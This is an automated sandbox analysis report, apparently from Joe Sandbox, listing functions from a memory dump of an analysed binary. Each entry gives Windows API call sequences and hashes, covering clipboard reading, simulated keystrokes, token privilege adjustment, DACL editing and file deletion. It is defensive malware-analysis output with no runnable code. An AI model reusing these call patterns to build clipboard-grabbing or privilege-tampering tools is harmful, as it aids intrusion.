Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acb92b1c7a8d589b7d078cce8702c89c370d7cf8ea6dbd3b2f4228f31cc9035f
Instruction ID: d758548002399595d6376a87122604225443eec09be0694c1be1db90b7110d09
Opcode Fuzzy Hash: acb92b1c7a8d589b7d078cce8702c89c370d7cf8ea6dbd3b2f4228f31cc9035f
Instruction Fuzzy Hash: 0EF015B1105792CFCB789F65E8A0816BBF4AF243693248D7EE5DA86A10C7319880DF10

Function 00B36AD5 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00B36AE0

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: d3a051188a28de1a8c65a3f3ce14af78a16228520b332fcd535345d2ab6b9da4
Instruction ID: 1825078c4b0ec1ce0818e6c0683839f049d6f4346f99c2ba64e5f247072ecfc5
Opcode Fuzzy Hash: d3a051188a28de1a8c65a3f3ce14af78a16228520b332fcd535345d2ab6b9da4
Instruction Fuzzy Hash: 15F0E571704205BAD7205BA89C497B1F7E8FB10314F2085AAE5D583181D7F254D497D1

Function 00AE684A Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00AE6868

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: dbc72fcbbe417d099125a5b7f0b477dbc50683e17be9c436dba593077d17b43b
Instruction ID: f19987c1807de24a095213ad546fbcc2df6fd56b2938b2a76d3a935dacd74ebf
Opcode Fuzzy Hash: dbc72fcbbe417d099125a5b7f0b477dbc50683e17be9c436dba593077d17b43b
Instruction Fuzzy Hash: BEF0F87550020DFFDF05DF90C941EAE7BB9FB18318F208485F9159A151C336EA21ABA1

Function 00AE3907 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000002,?), ref: 00AE3963

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 8f220c758264099817b81a510ab83713984fcdc36e082d2481a7db6955ffbeef
Instruction ID: 7da49785ce776a02fea304bb076e68fb236fa25a5ae1676e57e8af5e402dc64d
Opcode Fuzzy Hash: 8f220c758264099817b81a510ab83713984fcdc36e082d2481a7db6955ffbeef
Instruction Fuzzy Hash: AAF0A7709043049FEB539F24DC497967BFCA701708F0001E5A248A7282DBB44788CF45

Function 00AE3A57 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00AE3A76

Part of subcall function 00AE8577: _wcslen.LIBCMT ref: 00AE858A

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: e951a6433648fb3fc7d4fedbd6b2208c910c290d8987de20f31f4bf9a184568c
Instruction ID: 329fc2bfcf3cf7308a31fcd203effbc9531820f4fd8b479e7593119d665508c9
Opcode Fuzzy Hash: e951a6433648fb3fc7d4fedbd6b2208c910c290d8987de20f31f4bf9a184568c
Instruction Fuzzy Hash: 1EE08C72A002246BCB20A658AC06FEA77EDDF887A0F0440B5BC09D7258DD64AD8086A0

Function 00B2071A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00B20A84,?,?,00000000,?,00B20A84,00000000,0000000C), ref: 00B20737

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: dc66f3d875f5d41d8134137a0a9cc71cbb035c27ebd95b8b67a393c2eb8a56f8
Instruction ID: acf0e916b15847f76e7233462902a343a916736a119c7724385a4e8fa3b8a80f
Opcode Fuzzy Hash: dc66f3d875f5d41d8134137a0a9cc71cbb035c27ebd95b8b67a393c2eb8a56f8
Instruction Fuzzy Hash: E9D06C3200010DBBDF028F84DD06EDA3BAAFB48754F014050BE1866020C732E861AB90

Function 00B4EAB0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00B4D840), ref: 00B4EAB1

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e5a693a32de3da228499312fba08377526380e9e1e4700a24255ea5ee5a8e0ab
Instruction ID: 5482537aba9beafc9a930d605a32b2e30a1fd109465c5c69f6dfda9dfbb36997
Opcode Fuzzy Hash: e5a693a32de3da228499312fba08377526380e9e1e4700a24255ea5ee5a8e0ab
Instruction Fuzzy Hash: 41B0922400060005AD380E389A099A93390B8423E57DC1FC0E479960F2C739C94FB950

Function 00B5664C Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00B4DC54: FindFirstFileW.KERNEL32(?,?), ref: 00B4DCCB
Part of subcall function 00B4DC54: DeleteFileW.KERNEL32(?,?,?,?), ref: 00B4DD1B
Part of subcall function 00B4DC54: FindNextFileW.KERNELBASE(00000000,00000010), ref: 00B4DD2C
Part of subcall function 00B4DC54: FindClose.KERNEL32(00000000), ref: 00B4DD43

GetLastError.KERNEL32 ref: 00B5666E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: FileFind$CloseDeleteErrorFirstLastNext
String ID:
API String ID: 2191629493-0
Opcode ID: 7f11a1a9a9c914aabd27d9f27ba8e10d0cc019691c458073ced7b340ded51405
Instruction ID: 4cc74538d338162bc996d2073cfdfc91bf661c257350e037c6663ace32983ce7
Opcode Fuzzy Hash: 7f11a1a9a9c914aabd27d9f27ba8e10d0cc019691c458073ced7b340ded51405
Instruction Fuzzy Hash: 74F0A0362002148FCB10EF59D955B6EB7E5EF88360F048449F90A9B352CB74FC01CB95

Non-executed Functions

Function 00AFFC7C Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 00AFFC86
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00B3FCB8
IsIconic.USER32(00000000), ref: 00B3FCC1
ShowWindow.USER32(00000000,00000009), ref: 00B3FCCE
SetForegroundWindow.USER32(00000000), ref: 00B3FCD8
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00B3FCEE
GetCurrentThreadId.KERNEL32 ref: 00B3FCF5
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00B3FD01
AttachThreadInput.USER32(?,00000000,00000001), ref: 00B3FD12
AttachThreadInput.USER32(?,00000000,00000001), ref: 00B3FD1A
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 00B3FD22
SetForegroundWindow.USER32(00000000), ref: 00B3FD25
MapVirtualKeyW.USER32(00000012,00000000), ref: 00B3FD3A
keybd_event.USER32(00000012,00000000), ref: 00B3FD45
MapVirtualKeyW.USER32(00000012,00000000), ref: 00B3FD4F
keybd_event.USER32(00000012,00000000), ref: 00B3FD54
MapVirtualKeyW.USER32(00000012,00000000), ref: 00B3FD5D
keybd_event.USER32(00000012,00000000), ref: 00B3FD62
MapVirtualKeyW.USER32(00000012,00000000), ref: 00B3FD6C
keybd_event.USER32(00000012,00000000), ref: 00B3FD71
SetForegroundWindow.USER32(00000000), ref: 00B3FD74
AttachThreadInput.USER32(?,000000FF,00000000), ref: 00B3FD9B

Strings

Shell_TrayWnd, xrefs: 00B3FCB3

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: a8c567f9c0185c03bddad875173d3e7442fca16020068a92c07a43f950a105e4
Instruction ID: 627d8b3b29bdf081b4ae0d499e10b5d3340f54bced23a471441561d02b769007
Opcode Fuzzy Hash: a8c567f9c0185c03bddad875173d3e7442fca16020068a92c07a43f950a105e4
Instruction Fuzzy Hash: 0C312171A802187FEB216BA55C49F7E7EBCEF44B90F100069FA05FB1D1DAB05D40AAA0

Function 00B41B4D Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 00B42010: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B4205A
Part of subcall function 00B42010: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B42087
Part of subcall function 00B42010: GetLastError.KERNEL32 ref: 00B42097

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00B41BD2
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 00B41BF4
CloseHandle.KERNEL32(?), ref: 00B41C05
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00B41C1D
GetProcessWindowStation.USER32 ref: 00B41C36
SetProcessWindowStation.USER32(00000000), ref: 00B41C40
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00B41C5C

Part of subcall function 00B41A0B: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00B41B48), ref: 00B41A20
Part of subcall function 00B41A0B: CloseHandle.KERNEL32(?,?,00B41B48), ref: 00B41A35

Strings

winsta0, xrefs: 00B41C18
default, xrefs: 00B41C57
, xrefs: 00B41BA6

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0
API String ID: 22674027-1027155976
Opcode ID: fd81ec59d2829d17ca7f4bf67bc442ec2aabe46d210958fb71396ef6417d2371
Instruction ID: 4f541d9b971d66bcc554260d685bfa3b08a10edfdd5e07b395816f893b3d6764
Opcode Fuzzy Hash: fd81ec59d2829d17ca7f4bf67bc442ec2aabe46d210958fb71396ef6417d2371
Instruction Fuzzy Hash: E6815AB1D00209ABDF119FA8DC49FEE7BF8EF04340F1444A9F915A62A0DB718A85DB64

Function 00B414AE Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B41A45: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00B41A60
Part of subcall function 00B41A45: GetLastError.KERNEL32(?,00000000,00000000,?,?,00B414E7,?,?,?), ref: 00B41A6C
Part of subcall function 00B41A45: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00B414E7,?,?,?), ref: 00B41A7B
Part of subcall function 00B41A45: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00B414E7,?,?,?), ref: 00B41A82
Part of subcall function 00B41A45: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00B41A99

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00B41518
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00B4154C
GetLengthSid.ADVAPI32(?), ref: 00B41563
GetAce.ADVAPI32(?,00000000,?), ref: 00B4159D
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00B415B9
GetLengthSid.ADVAPI32(?), ref: 00B415D0
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00B415D8
HeapAlloc.KERNEL32(00000000), ref: 00B415DF
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00B41600
CopySid.ADVAPI32(00000000), ref: 00B41607
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00B41636
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00B41658
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00B4166A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B41691
HeapFree.KERNEL32(00000000), ref: 00B41698
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B416A1
HeapFree.KERNEL32(00000000), ref: 00B416A8
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B416B1
HeapFree.KERNEL32(00000000), ref: 00B416B8
GetProcessHeap.KERNEL32(00000000,?), ref: 00B416C4
HeapFree.KERNEL32(00000000), ref: 00B416CB

Part of subcall function 00B41ADF: GetProcessHeap.KERNEL32(00000008,00B414FD,?,00000000,?,00B414FD,?), ref: 00B41AED
Part of subcall function 00B41ADF: HeapAlloc.KERNEL32(00000000,?,00000000,?,00B414FD,?), ref: 00B41AF4
Part of subcall function 00B41ADF: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00B414FD,?), ref: 00B41B03

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 7ba670d4e65bb924e89b687258bd147d8b49dddc2c1bedcd1cd57a6420861c6a
Instruction ID: 3ddddd708d3b6047f5030db1a88b6ce8c5891303e67d89859d562d931d6d32b8
Opcode Fuzzy Hash: 7ba670d4e65bb924e89b687258bd147d8b49dddc2c1bedcd1cd57a6420861c6a
Instruction Fuzzy Hash: 28714CB2D00209ABDF109FA9DC44FEEBBB8FF04350F194955E919A7190DB31DA85DBA0

Function 00B5F55C Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00B7DCD0), ref: 00B5F586
IsClipboardFormatAvailable.USER32(0000000D), ref: 00B5F594
GetClipboardData.USER32(0000000D), ref: 00B5F5A0
CloseClipboard.USER32 ref: 00B5F5AC
GlobalLock.KERNEL32(00000000), ref: 00B5F5E4
CloseClipboard.USER32 ref: 00B5F5EE
GlobalUnlock.KERNEL32(00000000), ref: 00B5F619
IsClipboardFormatAvailable.USER32(00000001), ref: 00B5F626
GetClipboardData.USER32(00000001), ref: 00B5F62E
GlobalLock.KERNEL32(00000000), ref: 00B5F63F
GlobalUnlock.KERNEL32(00000000), ref: 00B5F67F
IsClipboardFormatAvailable.USER32(0000000F), ref: 00B5F695
GetClipboardData.USER32(0000000F), ref: 00B5F6A1
GlobalLock.KERNEL32(00000000), ref: 00B5F6B2
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 00B5F6D4
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00B5F6F1
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00B5F72F
GlobalUnlock.KERNEL32(00000000), ref: 00B5F750
CountClipboardFormats.USER32 ref: 00B5F771
CloseClipboard.USER32 ref: 00B5F7B6

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: c0a1ef4ba9ddfa1af3e2bcaa8d5811b659fc853f8bba3f4a83d604d660246f3a
Instruction ID: f6f06838bbe4375ee225504d08a18c6b6a99b14d7c2072751796de03dc46dedc
Opcode Fuzzy Hash: c0a1ef4ba9ddfa1af3e2bcaa8d5811b659fc853f8bba3f4a83d604d660246f3a
Instruction Fuzzy Hash: 6C618D312042429FD300EF20D888F6AB7F4EF98785F1445A9F94A872A2DF71ED49DB61

Function 00B573D4 Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00B57403
FindClose.KERNEL32(00000000), ref: 00B57457
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00B57493
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00B574BA

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

FileTimeToSystemTime.KERNEL32(?,?), ref: 00B574F7
FileTimeToSystemTime.KERNEL32(?,?), ref: 00B57524

Strings

%02d, xrefs: 00B57645, 00B5764F, 00B5769F, 00B576EF, 00B5773F, 00B5778F
%03d, xrefs: 00B577E7
%4d%02d%02d%02d%02d%02d, xrefs: 00B575AF
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00B57577
%4d, xrefs: 00B575F6

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: d6ed08b74dd5ffab8062550883184a3782b2de181fa91ee393930fb83fe6c0c3
Instruction ID: e6dfafce92e510a9107cb915b609938a3df1614b0bd3ce4029e6002a8eb5c95f
Opcode Fuzzy Hash: d6ed08b74dd5ffab8062550883184a3782b2de181fa91ee393930fb83fe6c0c3
Instruction Fuzzy Hash: EFD15E72508344AEC300EB65C985EBBB7ECEF98704F400959F589D7252EB74DA48C762

Function 00B5A087 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00B5A0A8
GetFileAttributesW.KERNEL32(?), ref: 00B5A0E6
SetFileAttributesW.KERNEL32(?,?), ref: 00B5A100
FindNextFileW.KERNEL32(00000000,?), ref: 00B5A118
FindClose.KERNEL32(00000000), ref: 00B5A123
FindFirstFileW.KERNEL32(*.*,?), ref: 00B5A13F
SetCurrentDirectoryW.KERNEL32(?), ref: 00B5A18F
SetCurrentDirectoryW.KERNEL32(00BA7B94), ref: 00B5A1AD
FindNextFileW.KERNEL32(00000000,00000010), ref: 00B5A1B7
FindClose.KERNEL32(00000000), ref: 00B5A1C4
FindClose.KERNEL32(00000000), ref: 00B5A1D4

Strings

*.*, xrefs: 00B5A13A

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 4afc64666100ba3d5df549e0df7a1314afa1b245186ac3654c64200f7f9db063
Instruction ID: 0a7c4cc73d5139704d15063fe571e39858b3bdf5f002f611f4abeda38412eecb
Opcode Fuzzy Hash: 4afc64666100ba3d5df549e0df7a1314afa1b245186ac3654c64200f7f9db063
Instruction Fuzzy Hash: 0E31E2326046096BDB20AFB4DC49BDE77ECDF06361F0006D5EC18F30A0EB70DA898A65

Function 00B54763 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00B54785
_wcslen.LIBCMT ref: 00B547B2
CreateDirectoryW.KERNEL32(?,00000000), ref: 00B547E2
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00B54803
RemoveDirectoryW.KERNEL32(?), ref: 00B54813
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00B5489A
CloseHandle.KERNEL32(00000000), ref: 00B548A5
CloseHandle.KERNEL32(00000000), ref: 00B548B0

Strings

:, xrefs: 00B547C7
\??\%s, xrefs: 00B547A0
\, xrefs: 00B547BC

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
